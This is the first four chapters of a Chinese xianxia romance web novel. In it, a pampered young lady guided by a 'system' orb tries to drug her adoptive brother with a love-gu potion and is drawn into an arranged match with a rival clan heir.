《万人嫌女配深陷修罗场》 1、第一章 第一章 【我这有一瓶情蛊。】 【你今天的任务就是——】 【把这瓶情蛊下给未来的灭世反派，也就是你的养兄，燕千尧。】 说到这，半空中的光球开始上下飞舞，拔高声音：【成功的话，他就会为你所控，任你为所欲为。】 【在情蛊的作用下，他会一边憎恶你，一边情不自禁靠近你，只能承受着你肆意的羞辱欺压。最终，他找到了解蛊之法，摆脱了你的控制，但对你的恨意值，也来到了惊人的100%……】 光球轻咳了一声，道：【这就是你的任务，还有什么问题吗？大小姐。】 正坐在桌旁，双手托腮的少女一动不动，仿佛一座秀丽的雕像。 光球忍不住又唤了一声：【大小姐？大小姐！】 【慕灵昭！】 被叫到名字的少女颤了颤，终于回过了神。有些发涩的紫色眼眸转了转，看向了眼前的光球：“嗯……” 光球着急地撞她的肩膀：【别嗯啦，你听懂我刚刚说的话了吗？】 慕灵昭道：“听懂了。下药给讨厌鬼，狠狠地羞辱他。” 话虽如此，她的脑子还是有些发蒙，完全不知道情况为什么会变成这样。 事情要从一个时辰前说起。 一个时辰前，慕灵昭做了一个噩梦。 她梦见了一本书。 这本书讲述的是主人公从零开始的修仙生活，过程坎坷波折，却收获颇多。其中最让人津为乐道的，是女主和无数男主之间的爱情故事。 男主们高冷淡漠、阴湿病娇、阳光小狗、温润君子……各种各样的类型应有尽有，可谓是龙章凤姿，各有千秋。 但无一例外的是，他们都有着不同的理由，万分厌恶文中的恶毒女配。 那个仗着家世打压女主，欺负羞辱各路男主的恶毒女配，慕灵昭。 看到这的时候，慕灵昭已经感觉到不对劲了，直到她继续往下看。 【慕灵昭是谁？她是修仙界四大家族中慕家的嫡系独女。】 【因为慕家雄踞一方的强悍实力，她自小要风得风要雨得雨，就是想摸天上的星星也会有人想尽办法送到她手边。】 【也因此，她被偏宠得无法无天，飞扬跋扈，活脱脱的娇纵大小姐。】 【这样的大小姐，又怎能看得惯我们的大女主白妙言呢。】 画面中的声音越发激昂：【她忌恨女主的天赋，还有她得天独后的气运，用尽手段和她争抢来争取去，到头来却是一场空。】 【不仅如此，那些被她欺辱过的男主们也都对她恨意滔天。最终，也不知是谁出手，慕灵昭被推入落魔渊，尸骨无存。】 紧接着的画面，便详细展示了慕灵昭是如何坠入深渊的。 少女一双紫眸中盈满了泪，唇瓣上是深深的齿痕，鬓发散乱，周身灵气溃散，如断线风筝般，轻易便被浓厚黑雾彻底吞没，了无踪迹。 那道声音循循善诱，道：【看到了吧，这就是你的下场，就在十个月后。】 【想活命吗？那就按我说的去做。】 【我，你的专属系统，会帮助你在那天死遁重获新生，只需要你走剧情狠狠地欺负所有男主！把他们的恨意值拉满！】 慕灵昭本以为这只是一个梦，但等她睁开眼之后，噩梦成真了。 一个手掌大小的光球正贴在帷幔上方，一对上她的眼，就立刻嘹亮地喊道：【大小姐你醒了，我们来做任务吧！】 “……” 当时的混乱慕灵昭已不愿再去回想，等她终于回过神时，就来到了现在—— 玉瓶被推到了慕灵昭的手边，耳边是系统的叮嘱声：【这份情蛊你可一定要让燕千尧吃下，这意味着之后的剧情能否顺利进行，非常重要！】 慕灵昭纤长的睫羽轻颤了颤，她沉默几息，从袖袋中掏出了一个玉瓶：“……其实，在你没来之前，我也准备要给讨厌鬼下药来着。” …… “你的意思是说，刷那个什么恨意值，不仅可以让我起死回生，还可以……”慕灵昭顿了顿，“解决我无法修炼的问题？” 光球在她肩膀上来回蹦哒：【是的大小姐！准确来说，是男主们越恨你，他们身上的某些特质便越能为你所用。】 【就比如我们即将去见的燕千尧，他是天级木灵根，最顶级的存在。只要你和他接触刷恨意值，不说100%，有个20%，都可以用他的木灵根，来滋润你的经脉灵根。】 系统瞅向少女忽然粲然生辉的紫眸，道：【据我所知，大小姐，你无法修炼吧。】 虽然她也拥有着单品木灵根，但却经脉淤堵，丹田枯竭。慕家那么多的财力人力，忙忙碌碌十几年，都没能给她想到任何解决办法。 也因此，大小姐才会跟原女主白妙言杠上。不单单是因为双方几次争抢天材地宝，更是因为大小姐实在看不惯女主她能轻易修炼升级。 【但只要你跟我一起做任务——】系统信誓旦旦地道，【你不仅能治好经脉开始修炼，还能得到更多的好处。】 【就比如燕千尧，他毒蛊之术可谓是天下一绝。如果能把他的恨意值刷到100%，他的这些能力你就都能拥有了。】 系统道：【还有你哥哥，凤凰，剑修，魔尊等等……按照剧情，你死遁的时候应该都刷满了他们的恨意值，到时候等你走了，我能把你得到的能力都复制走。】 【怎么样大小姐？你就跟我一起好好做任务，绝对不会亏待你的。】 慕灵昭悄无声息地屏住了呼吸。 她想修炼，她太想了。 她张了张嘴，还未出声，由远而来的男声打断了她： “……你是说，朝家大公子今日来府上是为了和我们大小姐联姻？！” “朝家，那可是东洲第一的朝家啊！我听说他们家大公子是百年难得一遇的修仙奇才，如今不过弱冠之年，便已至金丹初期，惊得各大门派都早早向他抛出了橄榄枝，都说他极有可能是近千年来飞升的最大希望。” “这样厉害的人物，怎么会答应联姻？还是……和我们大小姐。” 另一道男声冒了出来：“哎呀，也不能这么说，大小姐虽然是个不能修炼的废物，但实在貌美嘛。更别说他们两人还自小相识，俗话说得好，青梅竹马，小童养媳——” “像朝大公子那么厉害的人，完全可以娶大小姐当正妻，再多收几个美妾。哎，修仙界不是还有炉鼎的存在吗……” 那两个仆从说得越发起劲，漂浮在半空中的系统已经完全不敢去看慕灵昭的表情了。 它余光注意到少女身体僵硬，脊背却挺得很直。 她敛起笑容，板着巴掌大的脸，弧度圆润的紫眸瞪向声音源头。 逐渐靠近的谈论声猛地停止了。 仆从们：“大、大小姐……” 系统闭眼不敢看。几道惊雷般的鞭声，惨叫声与少女清脆冷漠的声音一同响起：“我也是你们能谈论的？” “来人，各打一百大板，废了他们的脚手筋，永远逐出西洲。” 讨饶声和痛哭流涕声不绝于耳，慕灵昭慢慢地整理着鞭子。 “饶你们一命是我仁慈，以后别再出现在本小姐眼皮子底下，否则定将你们碎尸万段。” “多谢大、大小姐开恩……” 嘈杂声渐渐远去，系统偷偷地吐出了一口气，也不知道它一个无生命体哪来的气。 慕灵昭把鞭子放回腰间，扬了扬下巴，哼道：“如果你之前说的都是真的，那等我刷满朝子临的恨意值，我的修炼速度便也能跟他一样快了？” 系统忙道：“是的！朝子临也是你的目标，而且他还不止这点，还有别的能力好处……” 光球絮絮叨叨的话语慕灵昭没再听下去，她攥紧了口袋中的玉瓶，目光落在了一个方向。 “那就去吧，我一定会下药成功的。” …… 燕千尧住在昭府最偏远的院落。 按理说，他是以慕灵昭养兄的身份被慕家家主接回府的，理应受到最好的待遇和资源。 但是……大小姐讨厌他，非常讨厌他。从进府第一天就跟他对着干不说，还把他赶去了最偏僻的角落，说是眼不见心不烦。 现在，足足走了大半个时辰才走到燕千尧院子门口的慕灵昭更烦了。 双腿又酸又涨，呼吸间还都是浓稠的暗紫雾气。 雾气是从院子中传出来的，燕千尧早已把他的住所变成了巨大的毒草田。 慕灵昭抬头望了眼低空中弥漫着的暗紫雾气，又捏了捏口袋中的玉瓶，提步走向了院门。 出乎意料的，门一下就被推开了。 院内昏暗，阳光穿不破浓雾，微乎其微。所有的房屋的门窗都是紧闭着的。 慕灵昭勉勉强强分辨了一下方向，很快放弃了。 她刚欲开口喊燕千尧的名字，下一息，身体停在了原地。 悄无声息出现的白色布条死死地缠绕在了慕灵昭的腰间，让她动弹不得。 与此同时，凉意伴随着禁锢感从脖子后方一同袭来。 慕灵昭瞳孔骤缩，还没来得及开口，一道冰凉泛着苦涩味的高大身躯从后贴了过来。 让外人来看，定会觉得这是一对亲密无间的有情人，少年紧紧地环抱着少女，像是在她耳边诉说着爱语—— 如果燕千尧的大掌没有掐在慕灵昭脖子上的话。 略有些沙哑的冷漠声音自慕灵昭耳畔响起：“大小姐今日又有何贵干？” 大掌缓缓摩擦着细嫩的皮肤，指尖微微向下陷。那声音冷笑道：“总不能是继续喊我给你当狗吧？” 2、第二章 第二章 关于让燕千尧给她当狗这件事，慕灵昭也就干了三四次吧。 第一次见面，慕灵昭被莫名其妙出现的养兄气得止不住哭，眼皮都哭肿了，脱口而出就是一句：“让他留下可以，给我当狗！” 她的父亲，慕家家主慕泗容只笑看了她一眼，便对脸色冰冷的少年道：“昭昭年纪轻，还是个不懂事的孩子。千尧你多担待一二。” 第二次，是燕千尧要住进慕灵昭隔壁的院子——慕家大公子慕西归曾经的住所。 听到这个消息的瞬间，慕灵昭奔向了主院，眼泪夺眶而出。 虽然哥哥在她十五岁那年毫无理由地搬出了这个院子，但在慕灵昭心中，这座院子永远是哥哥的住所，也永远是哥哥的。 它承载了太多，从她有记忆起的时光，大多都是在那座院子中度过的。 慕灵昭绝对无法接受一个毫无相干的陌生人不仅成为了她的养兄，还要霸占她哥哥的地盘。 所以，慕灵昭第二次说出了那句话：“想住进来，可以。给我当狗，我就允许你住进来。” 从草根一跃成为慕家二公子的燕千尧自然不可能当她的狗。他住进了慕家最偏僻的院落。 至于第三次第四次，慕灵昭记得不太清了，也有可能还有第五次第六次…… 总之，慕灵昭讨厌燕千尧，非常讨厌。 她有哥哥，有且只有一个哥哥，不需要任何人来代替他的位置。 慕灵昭只会叫慕西归哥哥。 【恨意值10%——】 系统的声音凭空出现在了脑海，又紧接着惊呼道：【恨意值12%！】 不知是不是错觉，慕灵昭只觉得丹田传来了一丝异样的感觉，进而飞速蔓延至四肢五骸。 此时此刻，停留在她后脖颈处的大掌继续下陷，直至，完全掌控。 燕千尧一眨不眨地盯着那纤细的脖颈。 手下的触感柔软，细腻。大小姐的侧颜也一如既往的莹白明媚，像是闪闪发光的玉石。 ……但她毫无反应。 她没有像往常那样呵斥他，狠狠地踩他的脚，用那双紫眸剜他，而是沉默地站在原地，像是被猎人抓住，吓呆了的雀鸟。 燕千尧突兀地松开了手。 【恨意值13%！】系统嘿嘿傻笑两声。 慕灵昭回神，紫眸亮了亮。 她没想到燕千尧对她的初始恨意值这么低，可是……什么都不做都能刷3%，这恨意值也太好刷了吧！ 慕灵昭扬起下巴，转身看向她的任务目标。 燕千尧黑发黑眸黑衣，裸露在外的肌肤白得像鬼，还布着星星点点的紫色纹路。 狭长狐狸眼被垂下的额发遮了一小半，瞳仁是很淡的琥珀色，鼻梁又高又挺，薄唇，脸庞两侧各垂着一根细细的小辫，尾端扎着的红绳混入黑发中，望不太真切。 那双和哥哥相似的狐狸眼让慕灵昭有一瞬的恍惚。 而此时，那双琥珀色的眼眸正凝视着她，其中蕴含了某种她看不懂的情绪。 ……应该是仇恨。慕灵昭想。 她上前一步，一把揪住了燕千尧垂在颈侧的小辫。 少女声音清脆，带着理所应当的骄矜，用力拽了拽那根小辫：“谁稀罕你给我做狗。” “想给我做狗的人多了去了，你排队都赶不上。” 【恨意值……15%】系统彻底乐傻了。 如果它此时有实体，现在估计已经把巴掌拍红了。 谁说这恶毒女配坏啊，她可太好了。不仅做任务积极，刷恨意值还飞快！ 慕灵昭甩开辫子，昂着脸，用下巴去看他，顺便愤怒地“哼”了一声。 明明他俩是同岁的，这家伙凭什么能长这么高？ 出乎意料的，燕千尧对于她的挑衅毫无反应。 那双狭长狐狸眼一眨不眨地盯着她，忽地抬起了手。 慕灵昭下意识躲开了他的手，目露警惕。 “你要干嘛？” 浅淡的桃花香气以飞快的速度褪去，快得让人疑心是否只是一场梦。 燕千尧五指合拢，他转过身，厌烦地垂下了眼，道：“随便你想什么都与我无关。我这里不欢迎你。” 那道挺拔的身影在走了几步后顿了顿，他没有回头，冷冷地道：“你头上有片叶子。” 慕灵昭一愣，抬手一摸，还真从发间揪下了片绿叶。 【应该是刚才赶路的时候粘上的。】系统弱弱地道，又小声补充了一句，【恨意值在刚才掉了一点，13%。】 慕灵昭抿紧了唇，嘟囔道：“谁知道这讨厌鬼到底怎么想的……” 难道就非要让他给她做狗才能恨他吗。 她快速朝着燕千尧离开的方向追了过去，大声道：“谁说我没事干了，我来是找你有事的！” 一路追到了后院，慕灵昭撞上了燕千尧毫无表情的脸：“什么事？” 慕灵昭眨了眨眼：“嗯……其实是娘亲让我来给你带些糕点，顺便让我来看看你。” 燕千尧扫向她空荡荡的双手，冷笑道：“糕点呢？” 慕灵昭理直气壮：“忘了，光记得看望你了。下次再给你补上。” “你会这么好心肠？”燕千尧瞥了眼大小姐微红的耳尖，道，“那我等你下次再来，慢走不送。” “你这人怎么这样。”眼见燕千尧转身要走，慕灵昭急道，“我跑过来这么远，你连口水都不给我喝吗？” 少女音调稍稍降低，带着一丝可能她自己都没有察觉到的软意，连同着桃花香一同飘了过来，“你就让我进去喝一杯茶，歇歇脚我就走，等回去我就让人把糕点给你送来，可好吃了。” 燕千尧垂眸盯着自己手腕上正蜿蜒流动的紫色纹路：“……自己倒，喝完就走。” 还没来得及应下，慕灵昭又听到系统到：【恨意值15%！】 慕灵昭眼睛一亮，似乎明白了什么。 她懂了，提高恨意值就是要强迫讨厌鬼做一些她不想干的事情。 很好，接下来就多多恨她吧。 …… “燕千尧，我要喝春雾茶。”大小姐道。 “燕千尧，这椅子好破好硬，就没有垫子吗？”大小姐嫣红的唇瓣抿成一条直线。 “燕千尧，我要吃北蜜阁的桃花酥——” 大小姐莹白的小脸仰起，阳光照亮了细小的绒毛，和檀口中一闪而过的湿红。 燕千尧下颔紧绷，声音冰冷地道：“没有，不想呆你可以滚出去。” “你——” 慕灵昭蹦了起来，怒目而视。下一瞬，她的态度突然软化，勉勉强强地道：“好吧，那我就喝这个吧。” 系统还在她的耳边兴奋地尖叫：【恨意值18%，18了！马上就要20了！】 燕千尧留给她一个背影：“喝了快走。” 慕灵昭没说话，目送着他离开。三息后，她奔去桌旁，从袖袋中取出了那瓶情蛊。 为了防止和自己那瓶药粉弄混，慕灵昭把它们一左一右分开放在袖袋中，下药前还都取出来看了一遍，防止下错。 白色粉末入水即溶，水面震颤，慕灵昭一时有些出神—— 也不知道系统给的这瓶情蛊到底有没有作用。 事实上，慕灵昭准备的药和系统的截然不同。 下药这种事情，她早就尝试过了。但燕千尧百毒不侵，不管是多么烈性的毒药，他都能面不改色的喝下，继而用那种似笑非笑的表情睨着她，仿佛在嘲笑她的手段有多么低劣。 慕灵昭几次被气得没法，千方百计才拿到了瓶通窍散，据说是唯一能对燕千尧这种体质起作用的药。 喝了之后会在体内形成一股流窜的气流，让人控制不住的打嗝。 慕灵昭迫切地希望他能狠狠地丢一次脸。 但既然现在有了系统的情蛊，慕灵昭便把通窍散收了起来，准备等机会下次再用。 她又拿起茶杯晃了晃，确保情蛊完全溶于水中。 系统蔫蔫地道：【恨意值掉了一点，15%……奇怪了，燕千尧又不在，怎么会掉呢？】 下一刻，燕千尧突然从门外走了进来。慕灵昭正倒茶的手一抖，险些没撒一身。 “……我喝完就会走的，不要催。”慕灵昭若无其事地喝了一口茶，又故意装得很不耐烦，指了指旁边那杯下好情蛊的茶，“喏，多倒了一杯，别浪费了，你喝了吧。” 她能明显感觉到，燕千尧的目光落在了她身上，正如有实质般将她慢慢包围。 阴沉、冷漠……就如同他这个人一般，身上无时无刻都泛着一股苦涩的药味。 “那我要谢谢大小姐了。”燕千尧走了过来，却没拿起那杯茶，先在她的身后放下了一样东西。 他的手收回时，若有若无地在慕灵昭的手臂上滑了一下。 有什么东西滚了出来，被燕千尧收入掌心，一晃而过。 慕灵昭完全没注意到，回头一看，愣了。 燕千尧给她拿了一个简单却干干净净的草垫子。 燕千尧平淡的声音响起：“反正我这只有这种垫子，坐不坐随便你。” “……”慕灵昭犹豫了一下，挨着凳子边缘坐了下去。 她盯着燕千尧拿起了那杯茶。 他把茶杯送到唇边，又突然放下了。 小小的茶杯在他骨节分明的五指中随意晃动，慕灵昭的视线不受控制的上上下下，完全没注意到燕千尧越发幽深的眼眸。 “你喝啊，你快喝。”慕灵昭没忍住，催促道。 燕千尧忽地笑了。紫色纹路在他的肌肤上流动，像是一条条在暗处窥探的蛇。 “喝，我这就喝。” 他端起茶杯，仰面一饮而尽。 慕灵昭紧盯着燕千尧的一举一动，见他全部喝完了，这才松了口气。 燕千尧慢悠悠地把玩着茶杯，道：“大小姐不是很渴吗。怎么不喝？” 慕灵昭轻哼了一声，挑衅般地喝完了自己的那杯茶。 看他还能嚣张到什么时候。等他体内的情蛊起效，以后还不是她说什么是什么，想他干什么就干什么。 怀揣着期待，慕灵昭站了起来，故意把脚步放得很慢，想看情蛊生效后燕千尧的狼狈模样。 很快，燕千尧苍白的脸上浮起了两抹红云，额上冒汗，那双狐狸眼也莫名多了几分潋滟，狭长眼尾红得厉害。 四目相对，慕灵昭还没来得及嘲笑他，突然感觉自己的身体不太对劲—— 3、第三章 第三章 一股莫名又汹涌而来的感觉自小腹升腾而起，迅速向身体各处扩散。 慕灵昭张了张嘴，还未开口，一阵猛烈的气流冲出了喉咙。 “嗝——” 慕灵昭呆住了，脸噌地红透了。 她双手紧紧地捂着嘴巴，像是被踩到尾巴的猫一般，瞬间跳了起来。 “你……嗝！嗝——” 猛烈的气流一股脑地撞击着牙关，慕灵昭拼尽全力才没让自己在燕千尧面前出更大的丑。 她狠狠地瞪向燕千尧，用眼神质问他，试图搞清楚现在到底是什么情况。 这药、这通窍散……明明是她一开始准备下给燕千尧的药，也是唯一能避开燕千尧的特殊体质，直接作用于体内的灵药。 但在拿到系统给的那瓶情蛊之后，慕灵昭就把这瓶药好好收起来了，准备等之后有机会再用。 可现在这药为什么会发作在她身上？！ 燕千尧好似看出了她的愤怒。 他顶着一张绯红的脸，一步步地向慕灵昭靠近。 紫色雾气自他身上蔓延开来，迅速将周围笼罩，也将慕灵昭圈在其中。 慕灵昭眼睁睁地看着燕千尧走到了她面前。 他垂下了那双狭长的狐狸眼，已经完全化为纯黑的瞳仁直勾勾地盯着她，向她伸出了手。 大掌毫不留情地禁锢住了少女的下巴，冷得她颤了颤。 紫色纹路疯狂在燕千尧的手上流窜，试图离少女更近。 雾气弥漫，升腾，将他们二人锁死在这方寸之间。燕千尧垂眸凝视着那张煞白惊恐的小脸，忽地笑了。 大小姐可能自己都没察觉到…… 她惊慌失措的样子，只会越发激起对方的暴虐。 就比如此时此刻，他只想—— 燕千尧伸出拇指，重重地擦过了少女嫣红的唇瓣。 柔软，还带着些微的湿润，就如同大小姐这个人一般，看似浑身是刺，但其实内里柔软的不像话。 拇指下陷，轻轻地扣着齿关，伴随着某种兴奋的律动。 燕千尧低笑了一声，道：“就你还敢给我下药。” 胸膛中的情绪激烈冲撞，让他快要压抑不住心中的浓烈恨意。 情蛊的出现打破了他原本的计划，但燕千尧想，或许，他可以实施新的报复计划了。 直接杀死猎物有什么意思，让她作茧自缚，从云端跌下，长久注视着她恐惧痛苦的脸，才是对他这些年的慰藉。 他凑近少女战栗的耳垂，欣赏着上面细小的绒毛：“下药之前，大小姐有事先了解过这药的作用吗？” “此药无解，只能定期靠着对方的体.液存活，否则只会沦为失去理智的怪物。”燕千尧强制拉过了慕灵昭的手，贴上他越发酡红滚烫的脸。 他半眯着眼眸，轻笑道：“大小姐，今晚我去找你，怎么样？” “啪”的一声，燕千尧的脸被打得向一边侧去，等他再次转过头时，望到的却是慕灵昭仓皇逃窜的背影。 大小姐被门槛绊了一下也不敢停顿，像只兔子，眨眼便跑出了他的视野。 燕千尧脸上浅淡的笑转瞬收敛，再次恢复到面无表情。 他的脑海中还残留着那双泪眼盈盈的紫眸，下意识摩擦了一下指尖。 很软。 紫雾正在屋内嚣张的四处扩散，下一息，它们像是遇到了天敌，畏畏缩缩地挤到角落，又瑟瑟发抖地缩成一团。 燕千尧不会可怜它们。因为它们在他体内的时候只会给他带来无穷无尽的痛苦，甚至吞噬他的理智。 他本以为要一直靠着药物来压制，直到前不久—— 大小姐在用鞭子抽他的时候，燕千尧无意间触碰到了她的手。 紫雾在瞬间潜伏到了他体内的最深处，连带着那些痛苦都一同消失了。 燕千尧不知道为什么，但他决定利用这一点，正巧，他本来就有些报酬要从她身上讨回来。 他向那团紫雾伸出了手，它们争先恐后地进入了他的体内，再次化为了蜿蜒流动的紫色纹路。 他坐到了先前慕灵昭所坐的地方，拿起了大小姐用过的茶杯。 燕千尧微勾唇角，拇指在茶杯的边缘一晃而过，又重重地落在了某点。 等等，再等等。 这只是开始。她欠他的，光这点怎么够。 …… 事情怎么会变成这样？！ 慕灵昭脑海一片混乱，系统好像在她耳边说了些什么，20%、剧情点之类的话，但她现在一句都听不清，满脑子只剩下了一句话： 燕千尧这个疯子！ 右手掌心微微发疼，是她狠狠扇了燕千尧一巴掌后的后遗症。 慕灵昭只敢用左手紧捂着嘴，根本不敢用右手碰自己，仿佛上面还停留着那股滚烫的温度。 ……那个疯子！ 他明明知道她给他下了情蛊，为什么还要喝？！ 还有什么体.液、今晚……慕灵昭不敢回想，胸口不停起伏。 她突兀地停下了脚步。 系统：【大小姐——】 少女低垂着头，略有些散乱的鬓发遮住了她的神情。 啪嗒。 水滴凭空出现，迅速坠落。 少女带着哭腔的声音响起：“嗝……我要去找娘亲……嗝嗝！” …… “大公子，您当真要与慕家那位大小姐联姻吗？” 被称作大公子的男人有着一头粲然夺目的红发，却并非纯红，而是呈渐变色，从头到尾逐渐变浅，正随着他的脚步荡出耀眼的弧度。 他的一头红发被高高竖成马尾，自额间垂下的碎发微微散开，却丝毫阻挡不了眉宇间的张扬肆意。红色额带上镶嵌的宝石正正好落在了他的眉心，愈发衬的那张脸嚣张无畏。 鲜衣怒马，轻狂不羁—— 是看到来人的第一印象。 而他本人，作为朝家大公子，铁板钉钉的下一任朝家家主，也确实有狂的资本。 朝子临扬起眉梢，意味不明地瞥向说话的随从：“怎么？你对慕大小姐有什么意见吗？” 新来的随从悄悄觑向朝子临，见大公子的唇角噙着笑意，目光和煦，似乎在鼓励他说出接下来的话。 他清了清嗓子，义愤填膺地道：“慕家大小姐就是个空有美貌的花瓶罢了！她怎能配得上您呢。” “她根本无法修炼，连最简单的引气入体都做不到。但大公子您可是近些年来公认的修炼奇才，就是那位隐世不出的定海剑尊也早早预定了您做他的徒弟。” “她只会拖您的后腿！”随从越发愤慨，“更别说她脾气是出了名的坏，被宠得无法无天。旁的不说，就说大小姐这个称呼。” “怎么排她都应该是慕家二小姐吧，慕家大公子可还在呢。但就是因为慕家宠她，如今任谁来了，都得喊她一句大小姐。” 随从又偷瞄了朝子临一眼。 他正将手举在额前挡阳光，眼眸微微眯起，还叹道：“今日太阳怎么这么大。” 随从顿时安心，继续起劲地道：“还有，您听说最近慕家多了个养子这件事吗？” “慕家大公子离家都快三年了吧，多了一个公子应该是好事。但慕大小姐却一直刁难人家，用尽方法去欺凌侮辱他。” 走在前方的大公子倏然停下了脚步。 他没有回头，嗓音依旧和平：“你觉得这花好看吗？” 随从顺着他手指的方向看去。那是一棵开得正盛的桃花树，花繁叶茂，无数粉白交间的桃花盈盈坠于枝头，宛如绚烂云霞。 “好看！”随从不假思索，又嘀咕道，“不知花了多少人力物力的产物，能不好看嘛。” 众所周知，慕大小姐最爱的便是桃花，阖府上下为此种满了桃花，尤其是这种不论季节，随时随地都能盛开的灵树。 可以说，这里随便一棵灵树，都足以买一百个他这样的仆从。 “你既知道它的价值，也知慕家对大小姐的爱护。”朝子临忽地轻笑了一声，“谁给你的胆子这样评价她？” 他高高扬起的马尾微微一扫，惨叫声瞬时响起。 朝子临没有回头，而是弯腰捡起了一朵掉落的桃花。 明媚纯净的粉白桃花被他夹在了指尖，闲适地打着转。朝子临依旧是那副阳光洒脱的模样，笑道：“不管她会不会成为我的未婚妻，她都是我好兄弟的亲妹妹，慕家的大小姐。” “就凭这个，谁也不能羞辱她。” 他确实不喜慕灵昭，厌恶她的坏脾气，瞧不上她的为人处世，更别说她无法修炼。不论哪一点和他心目中的妻子半点都搭不上—— 但任何人都不能羞辱她。起码在他的面前，就算再讨厌她，都要对大小姐迎上一个笑脸。 惨叫渐歇，不远传来了急切匆忙的脚步。 “……大公子！” 桃花落入掌心，被猛地合拢。朝子临优越的眉眼间流泻出几分不耐：“处理掉。” 来人恭敬地道：“属下来迟，请公子恕罪。” 与周围格格不入的焦炭被迅速地拖了下去。 朝子临展开手掌，看向那朵桃花，自言自语地道：“软是真的软，但跟她比起来——” 那差的不止一星半点。 朝子临微微眯眼，想起了某些画面。 五岁的慕灵昭，矮矮的，扎着一个双丫簪，一圈毛毛围着她圆圆软软，还粉粉的脸，活脱脱的桃花团子。 他那时七岁，朝家出了名的小霸王，见她第一面就冲上去捏了捏她的脸，结果…… 这团子瞬间哭了。 慕西归这家伙又一贯妹妹长妹妹短的，当即跑过来打他。 他自然不服，但转头一看慕灵昭脸上明晃晃的指印—— ……谁能想到她的脸那么嫩，娇贵得不行，捏一下就红了。 朝子临不禁摩擦了一下指尖。虽说那时他被打了一顿，还飞了出去，但……软是真的软。 自那以后，他和慕灵昭的梁子就结下了。 慕灵昭对他从来没个好脸色，见面不是偷偷瞪他，就是装不小心踩他的脚，偏偏前面还有个慕西归挡着，只能对她无可奈何。 但现在。 朝子临拨弄了两下掌心中的桃花，咧嘴露出了一个恶劣的笑。 哥哥没了，养兄来了，还有他这个登门拜访，即将登堂入室的未婚夫—— 可怜的大小姐，指不定躲在哪里哭吧。 说起来，这么多年，明明他也没少帮她，她却连一声哥哥都不肯叫。 朝子临手指重重地按在了桃花的花蕊处，心道：他最近比较闲，又看在马上要安排的“联姻”上，说不定会愿意帮大小姐对付一下所谓的养兄。 前提条件是，她得多唤他几声哥哥。 朝子临把那朵桃花翻来覆去的在掌心中把玩，不经意的一个抬眸，愣住了。 不远处，一道熟悉的鹅黄色身影正在朝着他的方向冲来。 朝子临一眼便认出了来人的身份，也敏锐地捕捉到了她口中发出的呼唤： “……哥！哥哥！” 灵气四溅，桃花簌簌而落，朝子临毫不犹豫地伸出了手臂，直接将双颊通红的少女困在了树下。 4、第四章 第四章 被拦下的一瞬间，慕灵昭整个人都是懵的。 她正紧紧的捂着自己的嘴，脸颊涨得通红，一门心思只想往娘亲的院落冲。 她完全没想到这通窍散的作用竟然会这么猛烈并且……持久。 气流一股一股的往上冲，嗝根本止不住。这也就导致—— 看到那一头眼熟的红发时，慕灵昭一惊，又是几声嗝连着冒了出来。 “……嗝，嗝嗝！” 慕灵昭赶紧用双手捂住自己的嘴，狠狠地剜了对面的朝子临一眼。 完了，让这家伙撞见，他肯定又要借此嘲笑她很久了。 出乎意料的，朝子临的表情有些古怪，那双微微泛红的眼瞳正直勾勾地盯着她看。 ……仿佛一只盯紧猎物的狼犬。 “看什么看。”慕灵昭闷声闷气地道，“还不快走开，别挡路——嗝！” 嗝声争先恐后地从她的指缝间蹦了出来，慕灵昭赶紧更用力的捂住嘴，深深地埋下了头，试图用这个姿势把气流堵在喉咙处。 “……我真服了。”头顶传来了朝子临咬牙切齿的声音，他似乎还冷笑了一声，莫名其妙地说了一句，“我就知道。” 慕灵昭刚想怼他，一只手贴在了她的脊背上，霸道的灵气瞬间冲了进来，直接制住了她体内那一团作乱的气流。 “你怎么把自己搞成这个样子？”朝子临一边帮慕灵昭顺气，一边嗤笑道，“不愧是你，笨。” 慕灵昭气得狂踩他的脚，带着暗金纹的玄鹿皮靴子登时被踩得扁了下去。 可这家伙毫无反应。可能被她从小到大踩惯了，反而一直往她体内灌灵气。 终于，慕灵昭把那团作乱的灵气给吐了出来，总算止住了打嗝。 她刚松了一口气，右手腕便被人攥住抬了起来，紧接着，朝子临沉沉地道：“你的手心怎么回事？红成这样。” 他的指尖倏地燃出一小撮带着金边的火焰，自慕灵昭的掌心一寸寸拂过，微微红肿的手心瞬间恢复如初。 慕灵昭挣了挣，没挣脱，抬眼一看，朝子临正似笑非笑地睨着她：“大小姐刚才去哪儿了？把自己搞成这么个狼狈样子。” 朝子临顺着慕灵昭来时的路看去，眯眼道：“这个方向……那个新来的二公子？” “他怎么你了，让你给了他一巴掌。” 慕灵昭顿时睁大了眼，完全没料到他会这么敏锐：“讨厌鬼……没有，我的手是不小心撞到了，我们之间什么都没有发生。” 不知怎的，她下意识觉得不能说实话。 “所以真的是他。”朝子临红瞳暗沉，瞥了身后的随从一眼。 随从心领神会，悄无声息地退下。 朝子临没再追问下去，而是松开了慕灵昭的手，道：“离他远一点，莫名其妙来的人，你这么笨，被人骗了还要给人数钱。” 慕灵昭气得又踩了他一脚：“那你也离我远一点，你莫名其妙来我家干什么？” 朝子临扬起眉梢，道：“你不知道？慕伯父喊我过来的，说是要谈谈我们两家联姻的事。” 红瞳漫不经心地瞥向大小姐雪白的脸。 “你——”慕灵昭张了张嘴，刚想说绝无可能时，系统的声音突然在脑海中响了起来： 它急切地道：【大小姐，这是个新的剧情节点！你必须要走剧情。】 慕灵昭也试着在脑海中开口：【怎么走？什么剧情？】 【剧情里，你一直胡搅蛮缠，非要跟朝子临联姻。】系统的声音逐渐变低，小小声地道，【然后你就借此作威作福羞辱他，让他心魔丛生，修为不得寸进。】 【朝子临也因此非常的厌恶你，迫切的想要和你解除婚约，或者说……除掉你。】 慕灵昭当即怒道：【谁想跟他联姻，他在做梦吧！】 要说慕灵昭讨厌的人，朝子临要是排第二，燕千尧都只能排第三。 她可太烦这个从小到大一直在她眼前晃，惹人烦到不行的朝子临了。 【大小姐——】 朝子临的声音打断了它们的对话。 “你怎么了？好安静，这可不像你。”朝子临微微弯腰，眯起眼眸，“还是说……你被这个消息震惊到了，高兴得连话都说不出来了吧。” “虽说，我暂时确实没有任何成婚的打算，但——” 朝子临的手指勾起了慕灵昭鬓侧沾上的一缕碎发，顺势在她脸颊上蹭了一下，一晃而过。 “但如果你哭着喊着求我，非我不可的话，我倒也不是不能同意。” 话落，朝子临松好手，已经完全做好了自己的双脚再次遭殃的准备。 谁曾想，大小姐像是如梦初醒一般，只狠狠地剜了他一眼，说出口的话却是： “谁需要你同意，我就要和你联姻。” 